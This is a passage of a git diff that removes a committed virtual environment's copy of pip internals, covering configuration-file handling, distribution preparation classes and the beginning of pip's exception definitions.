-                parser.has_section(section) and parser.remove_option(section, name)
-            ):
-                # The option was not removed.
-                raise ConfigurationError(
-                    "Fatal Internal error [id=1]. Please report as a bug."
-                )
-
-            # The section may be empty after the option was removed.
-            if not parser.items(section):
-                parser.remove_section(section)
-            self._mark_as_modified(fname, parser)
-        try:
-            del self._config[self.load_only][fname][key]
-        except KeyError:
-            del self._config[self.load_only][key]
-
-    def save(self) -> None:
-        """Save the current in-memory state."""
-        self._ensure_have_load_only()
-
-        for fname, parser in self._modified_parsers:
-            logger.info("Writing to %s", fname)
-
-            # Ensure directory exists.
-            ensure_dir(os.path.dirname(fname))
-
-            # Ensure directory's permission(need to be writeable)
-            try:
-                with open(fname, "w") as f:
-                    parser.write(f)
-            except OSError as error:
-                raise ConfigurationError(
-                    f"An error occurred while writing to the configuration file "
-                    f"{fname}: {error}"
-                )
-
-    #
-    # Private routines
-    #
-
-    def _ensure_have_load_only(self) -> None:
-        if self.load_only is None:
-            raise ConfigurationError("Needed a specific file to be modifying.")
-        logger.debug("Will be working with %s variant only", self.load_only)
-
-    @property
-    def _dictionary(self) -> dict[str, dict[str, Any]]:
-        """A dictionary representing the loaded configuration."""
-        # NOTE: Dictionaries are not populated if not loaded. So, conditionals
-        #       are not needed here.
-        retval = {}
-
-        for variant in OVERRIDE_ORDER:
-            retval.update(self._config[variant])
-
-        return retval
-
-    def _load_config_files(self) -> None:
-        """Loads configuration from configuration files"""
-        config_files = dict(self.iter_config_files())
-        if config_files[kinds.ENV][0:1] == [os.devnull]:
-            logger.debug(
-                "Skipping loading configuration files due to "
-                "environment's PIP_CONFIG_FILE being os.devnull"
-            )
-            return
-
-        for variant, files in config_files.items():
-            for fname in files:
-                # If there's specific variant set in `load_only`, load only
-                # that variant, not the others.
-                if self.load_only is not None and variant != self.load_only:
-                    logger.debug("Skipping file '%s' (variant: %s)", fname, variant)
-                    continue
-
-                parser = self._load_file(variant, fname)
-
-                # Keeping track of the parsers used
-                self._parsers[variant].append((fname, parser))
-
-    def _load_file(self, variant: Kind, fname: str) -> RawConfigParser:
-        logger.verbose("For variant '%s', will try loading '%s'", variant, fname)
-        parser = self._construct_parser(fname)
-
-        for section in parser.sections():
-            items = parser.items(section)
-            self._config[variant].setdefault(fname, {})
-            self._config[variant][fname].update(self._normalized_keys(section, items))
-
-        return parser
-
-    def _construct_parser(self, fname: str) -> RawConfigParser:
-        parser = configparser.RawConfigParser()
-        # If there is no such file, don't bother reading it but create the
-        # parser anyway, to hold the data.
-        # Doing this is useful when modifying and saving files, where we don't
-        # need to construct a parser.
-        if os.path.exists(fname):
-            locale_encoding = get_locale_encoding()
-            try:
-                parser.read(fname, encoding=locale_encoding)
-            except UnicodeDecodeError:
-                # See https://github.com/pypa/pip/issues/4963
-                raise ConfigurationFileCouldNotBeLoaded(
-                    reason=f"contains invalid {locale_encoding} characters",
-                    fname=fname,
-                )
-            except configparser.Error as error:
-                # See https://github.com/pypa/pip/issues/4893
-                raise ConfigurationFileCouldNotBeLoaded(error=error)
-        return parser
-
-    def _load_environment_vars(self) -> None:
-        """Loads configuration from environment variables"""
-        self._config[kinds.ENV_VAR].setdefault(":env:", {})
-        self._config[kinds.ENV_VAR][":env:"].update(
-            self._normalized_keys(":env:", self.get_environ_vars())
-        )
-
-    def _normalized_keys(
-        self, section: str, items: Iterable[tuple[str, Any]]
-    ) -> dict[str, Any]:
-        """Normalizes items to construct a dictionary with normalized keys.
-
-        This routine is where the names become keys and are made the same
-        regardless of source - configuration files or environment.
-        """
-        normalized = {}
-        for name, val in items:
-            key = section + "." + _normalize_name(name)
-            normalized[key] = val
-        return normalized
-
-    def get_environ_vars(self) -> Iterable[tuple[str, str]]:
-        """Returns a generator with all environmental vars with prefix PIP_"""
-        for key, val in os.environ.items():
-            if key.startswith("PIP_"):
-                name = key[4:].lower()
-                if name not in ENV_NAMES_IGNORED:
-                    yield name, val
-
-    # XXX: This is patched in the tests.
-    def iter_config_files(self) -> Iterable[tuple[Kind, list[str]]]:
-        """Yields variant and configuration files associated with it.
-
-        This should be treated like items of a dictionary. The order
-        here doesn't affect what gets overridden. That is controlled
-        by OVERRIDE_ORDER. However this does control the order they are
-        displayed to the user. It's probably most ergonomic to display
-        things in the same order as OVERRIDE_ORDER
-        """
-        # SMELL: Move the conditions out of this function
-
-        env_config_file = os.environ.get("PIP_CONFIG_FILE", None)
-        config_files = get_configuration_files()
-
-        yield kinds.GLOBAL, config_files[kinds.GLOBAL]
-
-        # per-user config is not loaded when env_config_file exists
-        should_load_user_config = not self.isolated and not (
-            env_config_file and os.path.exists(env_config_file)
-        )
-        if should_load_user_config:
-            # The legacy config file is overridden by the new config file
-            yield kinds.USER, config_files[kinds.USER]
-
-        # virtualenv config
-        yield kinds.SITE, config_files[kinds.SITE]
-
-        if env_config_file is not None:
-            yield kinds.ENV, [env_config_file]
-        else:
-            yield kinds.ENV, []
-
-    def get_values_in_config(self, variant: Kind) -> dict[str, Any]:
-        """Get values present in a config file"""
-        return self._config[variant]
-
-    def _get_parser_to_modify(self) -> tuple[str, RawConfigParser]:
-        # Determine which parser to modify
-        assert self.load_only
-        parsers = self._parsers[self.load_only]
-        if not parsers:
-            # This should not happen if everything works correctly.
-            raise ConfigurationError(
-                "Fatal Internal error [id=2]. Please report as a bug."
-            )
-
-        # Use the highest priority parser.
-        return parsers[-1]
-
-    # XXX: This is patched in the tests.
-    def _mark_as_modified(self, fname: str, parser: RawConfigParser) -> None:
-        file_parser_tuple = (fname, parser)
-        if file_parser_tuple not in self._modified_parsers:
-            self._modified_parsers.append(file_parser_tuple)
-
-    def __repr__(self) -> str:
-        return f"{self.__class__.__name__}({self._dictionary!r})"
diff --git a/venv/Lib/site-packages/pip/_internal/distributions/__init__.py b/venv/Lib/site-packages/pip/_internal/distributions/__init__.py
deleted file mode 100644
index 9a89a838b9a5cb264e9ae9d269fbedca6e2d6333..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/distributions/__init__.py
+++ /dev/null
@@ -1,21 +0,0 @@
-from pip._internal.distributions.base import AbstractDistribution
-from pip._internal.distributions.sdist import SourceDistribution
-from pip._internal.distributions.wheel import WheelDistribution
-from pip._internal.req.req_install import InstallRequirement
-
-
-def make_distribution_for_install_requirement(
-    install_req: InstallRequirement,
-) -> AbstractDistribution:
-    """Returns a Distribution for the given InstallRequirement"""
-    # Editable requirements will always be source distributions. They use the
-    # legacy logic until we create a modern standard for them.
-    if install_req.editable:
-        return SourceDistribution(install_req)
-
-    # If it's a wheel, it's a WheelDistribution
-    if install_req.is_wheel:
-        return WheelDistribution(install_req)
-
-    # Otherwise, a SourceDistribution
-    return SourceDistribution(install_req)
diff --git a/venv/Lib/site-packages/pip/_internal/distributions/base.py b/venv/Lib/site-packages/pip/_internal/distributions/base.py
deleted file mode 100644
index 66cc5426d8aba95491324ce6170e7fbd141c78b5..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/distributions/base.py
+++ /dev/null
@@ -1,57 +0,0 @@
-from __future__ import annotations
-
-import abc
-from typing import TYPE_CHECKING
-
-from pip._internal.metadata.base import BaseDistribution
-from pip._internal.req import InstallRequirement
-
-if TYPE_CHECKING:
-    from pip._internal.build_env import BuildEnvironmentInstaller, BuildIsolationMode
-
-
-class AbstractDistribution(metaclass=abc.ABCMeta):
-    """A base class for handling installable artifacts.
-
-    The requirements for anything installable are as follows:
-
-     - we must be able to determine the requirement name
-       (or we can't correctly handle the non-upgrade case).
-
-     - for packages with setup requirements, we must also be able
-       to determine their requirements without installing additional
-       packages (for the same reason as run-time dependencies)
-
-     - we must be able to create a Distribution object exposing the
-       above metadata.
-
-     - if we need to do work in the build tracker, we must be able to generate a unique
-       string to identify the requirement in the build tracker.
-    """
-
-    def __init__(self, req: InstallRequirement) -> None:
-        super().__init__()
-        self.req = req
-
-    @property
-    @abc.abstractmethod
-    def build_tracker_id(self) -> str | None:
-        """A string that uniquely identifies this requirement to the build tracker.
-
-        If None, then this dist has no work to do in the build tracker, and
-        ``.prepare_distribution_metadata()`` will not be called."""
-        raise NotImplementedError()
-
-    @abc.abstractmethod
-    def get_metadata_distribution(self) -> BaseDistribution:
-        raise NotImplementedError()
-
-    @abc.abstractmethod
-    def prepare_distribution_metadata(
-        self,
-        build_env_installer: BuildEnvironmentInstaller,
-        build_isolation: BuildIsolationMode,
-        check_build_deps: bool,
-        allow_editables: bool,
-    ) -> None:
-        raise NotImplementedError()
diff --git a/venv/Lib/site-packages/pip/_internal/distributions/installed.py b/venv/Lib/site-packages/pip/_internal/distributions/installed.py
deleted file mode 100644
index 06cff259a4ddd9233a3bc46835e93a3fb1130f7a..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/distributions/installed.py
+++ /dev/null
@@ -1,34 +0,0 @@
-from __future__ import annotations
-
-from typing import TYPE_CHECKING
-
-from pip._internal.distributions.base import AbstractDistribution
-from pip._internal.metadata import BaseDistribution
-
-if TYPE_CHECKING:
-    from pip._internal.build_env import BuildEnvironmentInstaller, BuildIsolationMode
-
-
-class InstalledDistribution(AbstractDistribution):
-    """Represents an installed package.
-
-    This does not need any preparation as the required information has already
-    been computed.
-    """
-
-    @property
-    def build_tracker_id(self) -> str | None:
-        return None
-
-    def get_metadata_distribution(self) -> BaseDistribution:
-        assert self.req.satisfied_by is not None, "not actually installed"
-        return self.req.satisfied_by
-
-    def prepare_distribution_metadata(
-        self,
-        build_env_installer: BuildEnvironmentInstaller,
-        build_isolation: BuildIsolationMode,
-        check_build_deps: bool,
-        allow_editables: bool,
-    ) -> None:
-        pass
diff --git a/venv/Lib/site-packages/pip/_internal/distributions/sdist.py b/venv/Lib/site-packages/pip/_internal/distributions/sdist.py
deleted file mode 100644
index fad25db47c93a3c31d7255a020ce9524d908512d..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/distributions/sdist.py
+++ /dev/null
@@ -1,193 +0,0 @@
-from __future__ import annotations
-
-import logging
-from collections.abc import Iterable
-from contextlib import nullcontext
-from typing import TYPE_CHECKING
-
-from pip._internal.build_env import (
-    BuildIsolationMode,
-    NoOpBuildEnvironment,
-    VenvBuildEnvironment,
-    VirtualBuildEnvironment,
-)
-from pip._internal.distributions.base import AbstractDistribution
-from pip._internal.exceptions import InstallationError
-from pip._internal.metadata import BaseDistribution
-from pip._internal.utils.subprocess import runner_with_spinner_message
-
-if TYPE_CHECKING:
-    from pip._internal.build_env import BuildEnvironmentInstaller
-
-logger = logging.getLogger(__name__)
-
-
-class SourceDistribution(AbstractDistribution):
-    """Represents a source distribution.
-
-    The preparation step for these needs metadata for the packages to be
-    generated.
-    """
-
-    @property
-    def build_tracker_id(self) -> str | None:
-        """Identify this requirement uniquely by its link."""
-        assert self.req.link
-        return self.req.link.url_without_fragment
-
-    def get_metadata_distribution(self) -> BaseDistribution:
-        return self.req.get_dist()
-
-    def prepare_distribution_metadata(
-        self,
-        build_env_installer: BuildEnvironmentInstaller,
-        build_isolation: BuildIsolationMode,
-        check_build_deps: bool,
-        allow_editables: bool,
-    ) -> None:
-        # Load pyproject.toml and set up backend environment
-        self.req.load_pyproject_toml()
-        self._prepare_build_env(build_isolation, build_env_installer)
-
-        # Set up the build isolation, if this requirement should be isolated
-        if build_isolation != "off":
-            # Setup an isolated environment and install the build backend static
-            # requirements in it.
-            self._prepare_build_backend(build_isolation)
-            # Check that the build backend supports PEP 660. This cannot be done
-            # earlier because we need to setup the build backend to verify it
-            # supports build_editable, nor can it be done later, because we want
-            # to avoid installing build requirements needlessly.
-            self.req.editable_sanity_check()
-            # Install the dynamic build requirements.
-            self._install_build_reqs(
-                build_env_installer, build_isolation, allow_editables=allow_editables
-            )
-        else:
-            # When not using build isolation, we still need to check that
-            # the build backend supports PEP 660.
-            self.req.editable_sanity_check()
-        # Check if the current environment provides build dependencies
-        if check_build_deps:
-            pyproject_requires = self.req.pyproject_requires
-            assert pyproject_requires is not None
-            conflicting, missing = self.req.build_env.check_requirements(
-                pyproject_requires
-            )
-            if conflicting:
-                self._raise_conflicts("the backend dependencies", conflicting)
-            if missing:
-                self._raise_missing_reqs(missing)
-        self.req.prepare_metadata(allow_editables)
-
-    def _prepare_build_env(
-        self,
-        build_isolation: BuildIsolationMode,
-        build_env_installer: BuildEnvironmentInstaller,
-    ) -> None:
-        if build_isolation == "virtual":
-            self.req.build_env = VirtualBuildEnvironment(build_env_installer)
-        elif build_isolation == "venv":
-            self.req.build_env = VenvBuildEnvironment(build_env_installer)
-
-        self.req.configure_backend(self.req.build_env.python_executable)
-
-    def _prepare_build_backend(self, build_isolation: BuildIsolationMode) -> None:
-        # Install the pyproject.toml declared build-time requirements.
-        pyproject_requires = self.req.pyproject_requires
-        assert pyproject_requires is not None
-        assert not isinstance(self.req.build_env, NoOpBuildEnvironment)
-
-        context = self.req.build_env if build_isolation == "venv" else nullcontext()
-        with context:
-            self.req.build_env.install_requirements(
-                pyproject_requires,
-                "overlay",
-                kind="build dependencies",
-                for_req=self.req,
-            )
-        conflicting, missing = self.req.build_env.check_requirements(
-            self.req.requirements_to_check
-        )
-        if conflicting:
-            self._raise_conflicts("PEP 517/518 supported requirements", conflicting)
-        if missing:
-            logger.warning(
-                "Missing build requirements in pyproject.toml for %s.",
-                self.req,
-            )
-            logger.warning(
-                "The project does not specify a build backend, and "
-                "pip cannot fall back to setuptools without %s.",
-                " and ".join(map(repr, sorted(missing))),
-            )
-
-    def _get_build_requires_wheel(self) -> Iterable[str]:
-        with self.req.build_env:
-            runner = runner_with_spinner_message("Getting requirements to build wheel")
-            backend = self.req.pep517_backend
-            assert backend is not None
-            with backend.subprocess_runner(runner):
-                return backend.get_requires_for_build_wheel()
-
-    def _get_build_requires_editable(self) -> Iterable[str]:
-        with self.req.build_env:
-            runner = runner_with_spinner_message(
-                "Getting requirements to build editable"
-            )
-            backend = self.req.pep517_backend
-            assert backend is not None
-            with backend.subprocess_runner(runner):
-                return backend.get_requires_for_build_editable()
-
-    def _install_build_reqs(
-        self,
-        build_env_installer: BuildEnvironmentInstaller,
-        build_isolation: BuildIsolationMode,
-        allow_editables: bool,
-    ) -> None:
-        # Install any extra build dependencies that the backend requests.
-        # This must be done in a second pass, as the pyproject.toml
-        # dependencies must be installed before we can call the backend.
-        if (
-            self.req.editable
-            and allow_editables
-            and self.req.supports_pyproject_editable
-        ):
-            build_reqs = self._get_build_requires_editable()
-        else:
-            build_reqs = self._get_build_requires_wheel()
-        conflicting, missing = self.req.build_env.check_requirements(build_reqs)
-        if conflicting:
-            self._raise_conflicts("the backend dependencies", conflicting)
-        context = self.req.build_env if build_isolation == "venv" else nullcontext()
-        with context:
-            self.req.build_env.install_requirements(
-                missing, "normal", kind="backend dependencies", for_req=self.req
-            )
-
-    def _raise_conflicts(
-        self, conflicting_with: str, conflicting_reqs: set[tuple[str, str]]
-    ) -> None:
-        format_string = (
-            "Some build dependencies for {requirement} "
-            "conflict with {conflicting_with}: {description}."
-        )
-        error_message = format_string.format(
-            requirement=self.req,
-            conflicting_with=conflicting_with,
-            description=", ".join(
-                f"{installed} is incompatible with {wanted}"
-                for installed, wanted in sorted(conflicting_reqs)
-            ),
-        )
-        raise InstallationError(error_message)
-
-    def _raise_missing_reqs(self, missing: set[str]) -> None:
-        format_string = (
-            "Some build dependencies for {requirement} are missing: {missing}."
-        )
-        error_message = format_string.format(
-            requirement=self.req, missing=", ".join(map(repr, sorted(missing)))
-        )
-        raise InstallationError(error_message)
diff --git a/venv/Lib/site-packages/pip/_internal/distributions/wheel.py b/venv/Lib/site-packages/pip/_internal/distributions/wheel.py
deleted file mode 100644
index 8f2a217fd596bda398193a17d813495930ecdb1d..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/distributions/wheel.py
+++ /dev/null
@@ -1,45 +0,0 @@
-from __future__ import annotations
-
-from typing import TYPE_CHECKING
-
-from pip._vendor.packaging.utils import canonicalize_name
-
-from pip._internal.distributions.base import AbstractDistribution
-from pip._internal.metadata import (
-    BaseDistribution,
-    FilesystemWheel,
-    get_wheel_distribution,
-)
-
-if TYPE_CHECKING:
-    from pip._internal.build_env import BuildEnvironmentInstaller, BuildIsolationMode
-
-
-class WheelDistribution(AbstractDistribution):
-    """Represents a wheel distribution.
-
-    This does not need any preparation as wheels can be directly unpacked.
-    """
-
-    @property
-    def build_tracker_id(self) -> str | None:
-        return None
-
-    def get_metadata_distribution(self) -> BaseDistribution:
-        """Loads the metadata from the wheel file into memory and returns a
-        Distribution that uses it, not relying on the wheel file or
-        requirement.
-        """
-        assert self.req.local_file_path, "Set as part of preparation during download"
-        assert self.req.name, "Wheels are never unnamed"
-        wheel = FilesystemWheel(self.req.local_file_path)
-        return get_wheel_distribution(wheel, canonicalize_name(self.req.name))
-
-    def prepare_distribution_metadata(
-        self,
-        build_env_installer: BuildEnvironmentInstaller,
-        build_isolation: BuildIsolationMode,
-        check_build_deps: bool,
-        allow_editables: bool,
-    ) -> None:
-        pass
diff --git a/venv/Lib/site-packages/pip/_internal/exceptions.py b/venv/Lib/site-packages/pip/_internal/exceptions.py
deleted file mode 100644
index b2d1e1d8c92a491dc0c993856033efcea4736280..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/exceptions.py
+++ /dev/null
@@ -1,1145 +0,0 @@
-"""Exceptions used throughout package.
-
-This module MUST NOT try to import from anything within `pip._internal` to
-operate. This is expected to be importable from any/all files within the
-subpackage and, thus, should not depend on them.
-"""
-
-from __future__ import annotations
-
-import configparser
-import contextlib
-import locale
-import logging
-import os
-import pathlib
-import re
-import sys
-import traceback
-from collections.abc import Iterable, Iterator
-from itertools import chain, groupby, repeat
-from typing import TYPE_CHECKING, Literal
-
-from pip._vendor.packaging.requirements import InvalidRequirement
-from pip._vendor.packaging.version import InvalidVersion
-from pip._vendor.rich.console import Console, ConsoleOptions, RenderResult
-from pip._vendor.rich.markup import escape
-from pip._vendor.rich.text import Text
-
-if TYPE_CHECKING:
-    from hashlib import _Hash
-
-    from pip._vendor import urllib3
-    from pip._vendor.requests.models import PreparedRequest, Request, Response
-
-    from pip._internal.metadata import BaseDistribution
-    from pip._internal.models.link import Link
-    from pip._internal.network.download import _FileDownload
-    from pip._internal.req.req_install import InstallRequirement
-
-logger = logging.getLogger(__name__)
-
-
-#
-# Scaffolding
-#
-def _is_kebab_case(s: str) -> bool:
-    return re.match(r"^[a-z]+(-[a-z]+)*$", s) is not None
-
-
-def _prefix_with_indent(
-    s: Text | str,
-    console: Console,
-    *,
-    prefix: str,
-    indent: str,
-) -> Text:
-    if isinstance(s, Text):
-        text = s
-    else:
-        text = console.render_str(s)
-
-    return console.render_str(prefix, overflow="ignore") + console.render_str(
-        f"\n{indent}", overflow="ignore"
-    ).join(text.split(allow_blank=True))
-
-
-class PipError(Exception):
-    """The base pip error."""
-
-
-class DiagnosticPipError(PipError):
-    """An error, that presents diagnostic information to the user.
-
-    This contains a bunch of logic, to enable pretty presentation of our error
-    messages. Each error gets a unique reference. Each error can also include
-    additional context, a hint and/or a note -- which are presented with the
-    main error message in a consistent style.
-
-    This is adapted from the error output styling in `sphinx-theme-builder`.
-    """
-
-    reference: str
-
-    def __init__(
-        self,
-        *,
-        kind: Literal["error", "warning"] = "error",
-        reference: str | None = None,
-        message: str | Text,
-        context: str | Text | None,
-        hint_stmt: str | Text | None,
-        note_stmt: str | Text | None = None,
-        link: str | None = None,
-    ) -> None:
-        # Ensure a proper reference is provided.
-        if reference is None:
-            assert hasattr(self, "reference"), "error reference not provided!"
-            reference = self.reference
-        assert _is_kebab_case(reference), "error reference must be kebab-case!"
-
-        self.kind = kind
-        self.reference = reference
-
-        self.message = message
-        self.context = context
-
-        self.note_stmt = note_stmt
-        self.hint_stmt = hint_stmt
-
-        self.link = link
-
-        super().__init__(f"<{self.__class__.__name__}: {self.reference}>")
-
-    def __repr__(self) -> str:
-        return (
-            f"<{self.__class__.__name__}("
-            f"reference={self.reference!r}, "
-            f"message={self.message!r}, "
-            f"context={self.context!r}, "
-            f"note_stmt={self.note_stmt!r}, "
-            f"hint_stmt={self.hint_stmt!r}"
-            ")>"
-        )
-
-    def __rich_console__(
-        self,
-        console: Console,
-        options: ConsoleOptions,
-    ) -> RenderResult:
-        colour = "red" if self.kind == "error" else "yellow"
-
-        yield f"[{colour} bold]{self.kind}[/]: [bold]{self.reference}[/]"
-        yield ""
-
-        if not options.ascii_only:
-            # Present the main message, with relevant context indented.
-            if self.context is not None:
-                yield _prefix_with_indent(
-                    self.message,
-                    console,
-                    prefix=f"[{colour}]×[/] ",
-                    indent=f"[{colour}]│[/] ",
-                )
-                yield _prefix_with_indent(
-                    self.context,
-                    console,
-                    prefix=f"[{colour}]╰─>[/] ",
-                    indent=f"[{colour}]   [/] ",
-                )
-            else:
-                yield _prefix_with_indent(
-                    self.message,
-                    console,
-                    prefix="[red]×[/] ",
-                    indent="  ",
-                )
-        else:
-            yield self.message
-            if self.context is not None:
-                yield ""
-                yield self.context
-
-        if self.note_stmt is not None or self.hint_stmt is not None:
-            yield ""
-
-        if self.note_stmt is not None:
-            yield _prefix_with_indent(
-                self.note_stmt,
-                console,
-                prefix="[magenta bold]note[/]: ",
-                indent="      ",
-            )
-        if self.hint_stmt is not None:
-            yield _prefix_with_indent(
-                self.hint_stmt,
-                console,
-                prefix="[cyan bold]hint[/]: ",
-                indent="      ",
-            )
-
-        if self.link is not None:
-            yield ""
-            yield f"Link: {self.link}"
-
-
-#
-# Actual Errors
-#
-class ConfigurationError(PipError):
-    """General exception in configuration"""
-
-
-class InstallationError(PipError):
-    """General exception during installation"""
-
-
-class FailedToPrepareCandidate(InstallationError):
-    """Raised when we fail to prepare a candidate (i.e. fetch and generate metadata).
-
-    This is intentionally not a diagnostic error, since the output will be presented
-    above this error, when this occurs. This should instead present information to the
-    user.
-    """
-
-    def __init__(
-        self, *, package_name: str, requirement_chain: str, failed_step: str
-    ) -> None:
-        super().__init__(f"Failed to build '{package_name}' when {failed_step.lower()}")
-        self.package_name = package_name
-        self.requirement_chain = requirement_chain
-        self.failed_step = failed_step
-
-
-class MissingPyProjectBuildRequires(DiagnosticPipError):
-    """Raised when pyproject.toml has `build-system`, but no `build-system.requires`."""
-
-    reference = "missing-pyproject-build-system-requires"
-
-    def __init__(self, *, package: str) -> None:
-        super().__init__(
-            message=f"Can not process {escape(package)}",
-            context=Text(
-                "This package has an invalid pyproject.toml file.\n"
-                "The [build-system] table is missing the mandatory `requires` key."
-            ),
-            note_stmt="This is an issue with the package mentioned above, not pip.",
-            hint_stmt=Text("See PEP 518 for the detailed specification."),
-        )
-
-
-class InvalidPyProjectBuildRequires(DiagnosticPipError):
-    """Raised when pyproject.toml an invalid `build-system.requires`."""
-
-    reference = "invalid-pyproject-build-system-requires"
-
-    def __init__(self, *, package: str, reason: str) -> None:
-        super().__init__(
-            message=f"Can not process {escape(package)}",
-            context=Text(
-                "This package has an invalid `build-system.requires` key in "
-                f"pyproject.toml.\n{reason}"
-            ),
-            note_stmt="This is an issue with the package mentioned above, not pip.",
-            hint_stmt=Text("See PEP 518 for the detailed specification."),
-        )
-
-
-class NoneMetadataError(PipError):
-    """Raised when accessing a Distribution's "METADATA" or "PKG-INFO".
-
-    This signifies an inconsistency, when the Distribution claims to have
-    the metadata file (if not, raise ``FileNotFoundError`` instead), but is
-    not actually able to produce its content. This may be due to permission
-    errors.
-    """
-
-    def __init__(
-        self,
-        dist: BaseDistribution,
-        metadata_name: str,
-    ) -> None:
-        """
-        :param dist: A Distribution object.
-        :param metadata_name: The name of the metadata being accessed
-            (can be "METADATA" or "PKG-INFO").
-        """
-        self.dist = dist
-        self.metadata_name = metadata_name
-
-    def __str__(self) -> str:
-        # Use `dist` in the error message because its stringification
-        # includes more information, like the version and location.
-        return f"None {self.metadata_name} metadata found for distribution: {self.dist}"
-
-
-class UserInstallationInvalid(InstallationError):
-    """A --user install is requested on an environment without user site."""
-
-    def __str__(self) -> str:
-        return "User base directory is not specified"
-
-
-class InvalidSchemeCombination(InstallationError):
-    def __str__(self) -> str:
-        before = ", ".join(str(a) for a in self.args[:-1])
-        return f"Cannot set {before} and {self.args[-1]} together"
-
-
-class DistributionNotFound(InstallationError):
-    """Raised when a distribution cannot be found to satisfy a requirement"""
-
-
-class RequirementsFileParseError(InstallationError):
-    """Raised when a general error occurs parsing a requirements file line."""
-
-
-class BestVersionAlreadyInstalled(PipError):
-    """Raised when the most up-to-date version of a package is already
-    installed."""
-
-
-class BadCommand(PipError):
-    """Raised when virtualenv or a command is not found"""
-
-
-class CommandError(PipError):
-    """Raised when there is an error in command-line arguments"""
-
-
-class PreviousBuildDirError(PipError):
-    """Raised when there's a previous conflicting build directory"""
-
-
-class NetworkConnectionError(PipError):
-    """HTTP connection error"""
-
-    def __init__(
-        self,
-        error_msg: str,
-        response: Response | None = None,
-        request: Request | PreparedRequest | None = None,
-    ) -> None:
-        """
-        Initialize NetworkConnectionError with  `request` and `response`
-        objects.
-        """
-        self.response = response
-        self.request = request
-        self.error_msg = error_msg
-        if (
-            self.response is not None
-            and not self.request
-            and hasattr(response, "request")
-        ):
-            self.request = self.response.request
-        super().__init__(error_msg, response, request)
-
-    def __str__(self) -> str:
-        return str(self.error_msg)
-
-
-class ConnectionFailedError(DiagnosticPipError):
-    reference = "connection-failed"
-
-    def __init__(self, url: str, host: str, error: Exception) -> None:
-        from http.client import RemoteDisconnected
-
-        from pip._vendor.urllib3.exceptions import (
-            NameResolutionError,
-            NewConnectionError,
-            ProtocolError,
-        )
-
-        details = str(error)
-        if isinstance(error, NameResolutionError):
-            parts = details.split("Failed to resolve ", maxsplit=1)
-            if len(parts) == 2:
-                details = "Failed to resolve IP address for " + parts[1]
-        elif isinstance(error, NewConnectionError):
-            parts = details.split("Failed to establish a new connection: ", maxsplit=1)
-            if len(parts) == 2:
-                _, details = parts
-        elif isinstance(error, ProtocolError):
-            try:
-                reason = error.args[1]
-            except IndexError:
-                pass
-            else:
-                if isinstance(reason, (RemoteDisconnected, ConnectionResetError)):
-                    details = (
-                        "the connection was closed without a reply from the server."
-                    )
-
-        super().__init__(
-            message=(
-                f"Failed to connect to [magenta]{escape(host)}[/] while fetching "
-                f"{escape(url)}"
-            ),
-            context=Text(details),
-            hint_stmt=(
-                "Are you connected to the Internet? If so, check whether your system "
-                f"can connect to [magenta]{escape(host)}[/] before trying again. "
-                "There may be a firewall or proxy that's preventing the connection."
-            ),
-        )
-
-
-class ConnectionTimeoutError(DiagnosticPipError):
-    reference = "connection-timeout"
-
-    def __init__(
-        self,
-        url: str,
-        host: str,
-        *,
-        kind: Literal["connect", "read"],
-        timeout: float,
-    ) -> None:
-        context = Text.assemble(
-            (host, "magenta"), f" didn't respond within {timeout} seconds"
-        )
-        if kind == "connect":
-            context.append(" (while establishing a connection)")
-        super().__init__(
-            message=f"Unable to fetch {escape(url)}",
-            context=context,
-            hint_stmt=(
-                "This is probably a temporary issue with the remote server or the "
-                "network connection. If this error persists, check the network "
-                "configuration. There may be a firewall or proxy that's preventing "
-                "the connection."
-            ),
-        )
-
-
-class SSLMissingError(DiagnosticPipError):
-    reference = "ssl-missing"
-
-    def __init__(self, url: str) -> None:
-        super().__init__(
-            message=f"Failed to establish a secure connection for {escape(url)}",
-            context="The 'ssl' module is unavailable but required for HTTPS URLs",
-            hint_stmt=None,
-        )
-
-
-class SSLVerificationError(DiagnosticPipError):
-    reference = "ssl-verification-failed"
-
-    def __init__(self, url: str, host: str, error: urllib3.exceptions.SSLError) -> None:
-        message = (
-            "Failed to establish a secure connection to "
-            f"[magenta]{escape(host)}[/] while fetching {escape(url)}"
-        )
-        hint = "You may need to use --cert or check your proxy/firewall configuration"
-        super().__init__(message=message, context=Text(str(error)), hint_stmt=hint)
-
-
-class ProxyConnectionError(DiagnosticPipError):
-    reference = "proxy-connection-failed"
-
-    def __init__(
-        self, url: str, proxy: str, error: urllib3.exceptions.ProxyError
-    ) -> None:
-        super().__init__(
-            message=(
-                "Failed to connect to proxy "
-                f"[magenta]{escape(proxy)}[/] while fetching {escape(url)}"
-            ),
-            context=Text(str(error)),
-            hint_stmt="This is likely a proxy configuration issue.",
-        )
-
-
-class InvalidWheelFilename(InstallationError):
-    """Invalid wheel filename."""
-
-
-class UnsupportedWheel(InstallationError):
-    """Unsupported wheel."""
-
-
-class InvalidWheel(InstallationError):
-    """Invalid (e.g. corrupt) wheel."""
-
-    def __init__(self, location: str, name: str):
-        self.location = location
-        self.name = name
-
-    def __str__(self) -> str:
-        return f"Wheel '{self.name}' located at {self.location} is invalid."
-
-
-class MetadataInconsistent(InstallationError):
-    """Built metadata contains inconsistent information.
-
-    This is raised when the metadata contains values (e.g. name and version)
-    that do not match the information previously obtained from sdist filename,
-    user-supplied ``#egg=`` value, or an install requirement name.
-    """
-
-    def __init__(
-        self, ireq: InstallRequirement, field: str, f_val: str, m_val: str
-    ) -> None:
-        self.ireq = ireq
-        self.field = field
-        self.f_val = f_val
-        self.m_val = m_val
-
-    def __str__(self) -> str:
-        return (
-            f"Requested {self.ireq} has inconsistent {self.field}: "
-            f"expected {self.f_val!r}, but metadata has {self.m_val!r}"
-        )
-
-
-class SidecarMetadataInconsistent(MetadataInconsistent):
-    """The wheel's METADATA disagrees with its PEP 658 ``.metadata`` file.
-
-    Raised after the wheel has been downloaded and hash-verified, when a
-    resolver-affecting field in the wheel's embedded ``METADATA`` does not
-    match the value taken from the remote ``.metadata`` sidecar that drove
-    resolution. ``f_val`` is the sidecar value, ``m_val`` is the wheel value.
-    """
-
-    def __str__(self) -> str:
-        return (
-            f"Requested {self.ireq} has inconsistent {self.field} between "
-            f"its PEP 658 .metadata file and the wheel's METADATA: "
